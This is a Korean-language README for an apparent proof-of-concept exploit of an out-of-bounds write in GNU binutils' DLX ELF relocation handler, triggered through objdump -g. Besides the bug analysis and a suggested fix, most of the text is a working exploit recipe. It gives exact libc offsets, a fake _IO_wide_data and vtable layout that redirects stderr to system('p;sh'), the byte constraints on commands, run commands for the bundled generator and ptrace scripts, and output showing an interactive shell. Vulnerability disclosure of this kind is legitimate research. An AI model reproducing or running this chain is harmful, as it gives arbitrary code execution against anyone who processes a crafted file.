
CVE-2026-18220을 시연하는 개념 증명(PoC)으로, GNU binutils의 DLX ELF 백엔드에 존재하는 범위를 벗어난(OOB) 쓰기 취약점입니다(`objdump -g`를 통해 트리거됨).
대상: GNU Binutils (HEAD를 포함한 모든 버전) — objdump
환경: Debian 13 (Trixie), glibc 2.41, x86_64
영향: 임의 코드 실행
벡터: objdump -g로 처리되는 조작된 ELF 파일
ASLR: 우회됨 (결정적 mmap 델타)
이 발견에 대해 언급해 주고 공정하게 대해 준 bikini에게 크게 감사드립니다. 그는 정말 좋은 사람이며, 그와 대화할 수 있어 즐거웠습니다. 그 역시 훌륭한 발견들을 해냈습니다. 그의 작업을 꼭 확인해 보세요!
bfd/elf32-dlx.cR_DLX_RELOC_26_PCREL 재배치 핸들러(elf32_dlx_relocate26)는 오프셋을 섹션 크기에 대해 검증하지 않고 에서 4바이트 읽기/쓰기를 수행합니다. 이 함수가 를 반환하므로 의 일반 경계 검사는 완전히 우회됩니다.
data + reloc_entry->addressbfd_reloc_okbfd/reloc.c// bfd/elf32-dlx.c — elf32_dlx_relocate26()
insn = bfd_get_32(abfd, data + reloc_entry->address); // OOB read
vallo = insn & 0x03FFFFFF;
if (vallo & 0x03000000)
vallo = ~(vallo | 0xFC000000) + 1; // sign-extend 26 bits
val = (sym->section->vma + sym->value) - vallo;
insn = (insn & 0xFC000000) | (val & 0x03FFFFFF);
bfd_put_32(abfd, insn, data + reloc_entry->address); // OOB write
return bfd_reloc_ok; // skips bounds check
오프셋 reloc_entry->address는 ELF 파일에서 직접 읽히며 섹션 버퍼를 넘어 임의의 위치를 가리킬 수 있습니다.
x86_64에서 ELF32 오프셋은 제로 확장되므로 쓰기가 양수 오프셋으로 제한됩니다. .debug_info 섹션이 128KB 이상이면 malloc()이 mmap()을 사용하게 되어 버퍼가 libc의 데이터 세그먼트에 인접하게 배치됩니다:
┌──────────────────────────────────────┐ ← same mmap region
│ .debug_info buffer (192 KB) │ data = 0x7f...d010
│ ├── fake _IO_wide_data (+0x1000) │
│ └── fake _IO_jump_t (+0x2000) │
│ ... │
│ _IO_2_1_stderr_ │ stderr = data + 0x21a4d0
│ _IO_wfile_jumps │ wfile = data + 0x218218
│ system() │ system() = data + 0x87100
└──────────────────────────────────────┘
두 영역 모두 libc 로딩 중에 동일한 mmap으로 할당되므로 stderr - data = 0x21A4D0 델타는 ASLR 실행 간에 일정합니다.
objdump writes to stderr ("Can't get contents for section...")
└─► _IO_wfile_overflow(stderr)
└─► _IO_wdoallocbuf(stderr)
└─► _IO_WDOALLOCATE(stderr)
= stderr->_wide_data->_wide_vtable->__doallocate(stderr)
= fake_vtable[0x68](https://github.com/4d4j/objdump-out-of-bounds-write/blob/main/stderr)
= system(stderr)
= system("p;sh") ← stderr._flags[0:4] = "p;sh"
| # | 대상 (data 기준 오프셋) | 효과 |
|---|---|---|
| 0 | 0x21A4CF = stderr − 1 | _flags[0:3] = cmd[0..2] → system() 인자의 시작 |
| 1 | 0x21A4F8 = stderr + 0x28 | _IO_write_ptr ≠ 0 → 플러시 강제 → 오버플로우 |
| 2 | 0x21A56F = stderr + 0x9F | _wide_data[0:3] → 가짜 _IO_wide_data를 가리킴 |
| 3 | 0x21A5A7 = stderr + 0xD7 | vtable[0:3] → _IO_wfile_jumps |
| 4 | 0x21A4D2 = stderr + 2 | _flags[3] = cmd[3], 패딩 제거 → 널 종결자 |
data + 0x1000 : fake _IO_wide_data
+0xE0 : _wide_vtable → data + 0x2000
data + 0x2000 : fake _IO_jump_t
+0x68 : __doallocate → system()
이 익스플로잇은 2~4자 명령을 지원합니다. 재배치 0이 _flags[0:3]을 쓰고 재배치 4가 _flags[3]을 쓰고 패딩을 제거하여, 자연 널 종결자 앞에 최대 4자를 system()에 전달합니다.
glibc의 FILE 플래그 레이아웃에 의해 처음 두 바이트만 제약됩니다:
| 비트 | 플래그 | 제약 조건 | 이유 |
|---|---|---|---|
| 1 | _IO_UNBUFFERED | cmd[0] & 0x02 == 0 | 그렇지 않으면 _IO_wdoallocbuf가 __doallocate를 건너뜀 |
| 3 | _IO_NO_WRITES | cmd[0] & 0x08 == 0 | 그렇지 않으면 오버플로우가 즉시 WEOF를 반환 |
| 13 | _IO_IS_FILEBUF | cmd[1] & 0x20 != 0 | doallocate 블록에 진입하는 데 필요 |
cmd[2]와 cmd[3]은 제약이 없습니다.
| 명령 | 바이트 | 효과 |
|---|---|---|
"ps" | 70 73 | 프로세스 목록 |
"p;sh" | 70 3B 73 68 | 대화형 셸 실행 ← 가장 유용 |
"p;ls" | 70 3B 6C 73 | 디렉터리 목록 |
"p;id" | 70 3B 69 64 | uid/gid 출력 |
# Build binutils with DLX target support
cd binutils-gdb && mkdir build && cd build
../configure --target=dlx-elf --disable-nls --disable-werror
make -j$(nproc)
# Step 1: Generate the malicious ELF (choose your command)
python3 poc_generate.py --cmd "p;sh" -o exploit.bin
# Step 2: Run the exploit (ASLR on, standalone, no GDB)
python3 poc_ptrace.py --cmd "p;sh" # interactive shell
python3 poc_ptrace.py --cmd "p;id" # print uid/gid
python3 poc_ptrace.py # default: "ps"
이 익스플로잇은 ASLR 바이트-3 불일치 시 자동으로 최대 5회 재시도하며(시도당 약 12%), 약 99.998%의 성공률에 도달합니다.
[*] libc: /lib/x86_64-linux-gnu/libc.so.6
[*] cmd = 'p;sh' bytes = ['0x70', '0x3b', '0x73', '0x68']
[*] objdump_base = 0x005e61dfbf5000
[*] fn_addr = 0x005e61e06cad90 (elf32_dlx_relocate26)
[*] libc_base = 0x0075b1ed86c000
[*] stderr = 0x0075b1eda524e0
[*] system = 0x0075b1ed8bf110
[*] actual delta = 0x21a4d0 (expected 0x21a4d0)
[*] reloc0 sym->value <- 0x00f65c20 (cmd[0..2] = 'p;s')
[*] reloc4 sym->value <- 0x016d0000 (cmd[3] = 0x68)
...
[+] system() reached — command executing
$ id ← interactive shell
uid=1000(user) gid=1000(user) groups=1000(user)
[+] Done
섹션 데이터에 접근하기 전에 elf32_dlx_relocate26()에 경계 검사를 추가하십시오:
if (reloc_entry->address + 4 > input_section->size)
return bfd_reloc_outofrange;
| 파일 | 설명 |
|---|---|
poc_generate.py | 5개의 OOB 재배치가 포함된 악성 DLX ELF 페이로드(exploit.bin)를 생성합니다 |
poc_ptrace.py | 독립 실행형 익스플로잇 — ptrace 기반 ASLR 우회, 재시도 루프, GDB 불필요 |
exploit.bin | 미리 생성된 페이로드 (기본 명령 "p;sh") |
이 취약점은 GNU Binutils 유지관리자에게 보고되었습니다. 익스플로잇 코드는 승인된 보안 연구 목적으로만 제공됩니다.